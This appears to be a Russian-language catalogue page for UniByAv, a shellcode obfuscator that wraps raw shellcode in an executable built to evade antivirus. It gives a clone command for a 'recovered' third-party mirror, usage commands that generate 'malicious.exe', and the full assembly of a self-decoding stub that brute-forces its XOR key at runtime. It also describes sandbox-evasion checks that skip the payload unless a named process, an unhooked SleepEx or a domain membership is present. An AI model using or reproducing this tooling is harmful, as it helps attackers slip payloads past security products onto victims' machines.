UniByAv

Exploitation

Простой обфускатор shellcode: генерирует исполняемый файл, дружественный к антивирусам, из сырого shellcode. Процедура обфускации написана на ассемблере — генерируется 32-битный XOR-ключ, который брутфорсится и расшифровывается прямо во время выполнения. От автора Mr.Un1k0d3r (RingZer0 Team). Восстановлено из архива Software Heritage: оригинальный репозиторий был удалён автором с исходной площадки. Из-за перегрузки очереди приготовления полного git-бандла восстановлен только последний известный снимок файлов (без истории коммитов) и перенесён в наш Forgejo-миррор.

Добавлен 24.07.2026 · Обновлён 24.07.2026 · Exploitation
Установка
git clone https://git.toolsofthetrade.qzz.io/recovered/unibyav.git
cd unibyav
# Требуется cygwin/MinGW toolchain на Windows для компиляции итогового .exe
python UniByAv4.2.py shellcode.bin output.exe /path/to/MinGW/bin/
переведено ИИ

UniByAv

UniByAv — это простой обфускатор, который берет исходный шеллкод и генерирует исполняемый файл, дружественный к антивирусам.

Обфускация выполнена полностью на ассемблере, чтобы оставаться компактной и эффективной. По сути, приложение генерирует 32-битный XOR-ключ и методом перебора находит его во время выполнения, после чего расшифровывает сам шеллкод.

Я планирую обновлять код со временем, добавляя поддержку некоторых техник обхода, которые я использовал.

Использование

$ python UniByAv4.1.py shellcode test.exe /cygdrive/c/Program\ Files\ \(x86\)/CodeBlocks/MinGW/bin/
UniByAv4.1 Shellcode encoder tool / Mr.Un1k0d3r RingZer0 Team 2014
Currently running under (cygwin) LINUX switch is set to 0
Self decoding payload written in assembly

[+]     Generating xoring key
[+]     Xoring key is set to 0x150014cc
[+]     Original shellcode size is (13) bytes adding (3) bytes to align it
[+]     Magic key is set to \x49\x62\x4d\x6b
[+]     Payload + decoder shellcode length is now (134) bytes
[+]     Generating the final c file
[+]     Generating random charset array for kernel32 and SetProcessDEPPolicy
[+]     Generating int array for "kernel32.dll". Array size is: 12
[+]     Generating int array for "SetProcessDEPPolicy". Array size is: 19
[+]     Compiling the final executable
[+]     /cygdrive/c/Users/Mr.Un1k0d3r/Desktop/output/test.exe has been created
[+]     Generation completed

image

Установка gccpath в none сгенерирует только C-файл

$ python UniByAv4.1.py SHELLCODE malicious.exe none configs/process-evasion.json
UniByAv4.1 Shellcode encoder tool / Mr.Un1k0d3r RingZer0 Team 2014
Currently running under (cygwin) LINUX switch is set to 0
Self decoding payload written in assembly


[+]     *** Loading process evasion module
[+]     Generating xoring key
[+]     Xoring key is set to 0x1e1be916
[+]     Original shellcode size is (5) bytes adding (3) bytes to align it
[+]     Magic key is set to \x52\x42\x4e\x78
[+]     Payload + decoder shellcode length is now (66) bytes
[+]     Generating the final c file
[+]     Generating random charset array for kernel32 and SetProcessDEPPolicy
[+]     Generating int array for "kernel32.dll". Array size is: 12
[+]     Generating int array for "SetProcessDEPPolicy". Array size is: 19
[+]     /cygdrive/c/Users/Mr.Un1k0d3r/Desktop/UniByAv/output/malicious.exe.c has been created
[+]     Generation completed

Сам декодер

Этот инструмент использует простой ассемблерный стаб для декодирования зашифрованного шеллкода. Как видно, ключ неизвестен и подбирается перебором во время выполнения. Поскольку цикл написан на ассемблере, выполнение миллионов итераций на современной системе происходит довольно быстро.

Decoder assembly:
   0:   eb 2f                   jmp    31 
   2:   58                      pop    eax
   3:   31 c9                   xor    ecx,ecx
   5:   89 cb                   mov    ebx,ecx
   7:   6a 04                   push   0x4
   9:   5a                      pop    edx
   a:   43                      inc    ebx
   b:   ff 30                   push   DWORD PTR [eax]
   d:   59                      pop    ecx
   e:   0f c9                   bswap  ecx
  10:   31 d9                   xor    ecx,ebx
  12:   81 f9 41 75 49 48       cmp    ecx,[MAGIC]
  18:   75 f0                   jne    a 
  1a:   0f cb                   bswap  ebx
  1c:   31 c9                   xor    ecx,ecx
  1e:   81 c1 05 00 00 00       add    ecx,[NUMBER_OF_CHUNK]
  24:   01 d0                   add    eax,edx
  26:   31 18                   xor    DWORD PTR [eax],ebx
  28:   e2 fa                   loop   24 
  2a:   2d 14 00 00 00          sub    eax,[FULL_SIZE]
  2f:   ff e0                   jmp    eax
  31:   e8 cc ff ff ff          call   2 
  [OPCODE] 

Техники обхода

Предустановленные конфигурационные файлы можно найти в папке configs.

process

Проверяет, запущен ли определенный процесс. Если нет, двоичный файл завершает работу без запуска полезной нагрузки.

time

Проверяет, был ли перехвачен SleepEx. Если функция возвращает ложные данные, программа завершает работу без запуска полезной нагрузки.

domain

Проверяет, является ли текущий пользователь членом указанного домена. Если нет, программа завершает работу без запуска полезной нагрузки.

Требования

В Windows

python
MinGW (shipped with CodeBlocks)

В Linux

python
wine
MinGW

Благодарности

Mr.Un1k0d3r из команды RingZer0

Комментарии
Войдите, чтобы оставить комментарий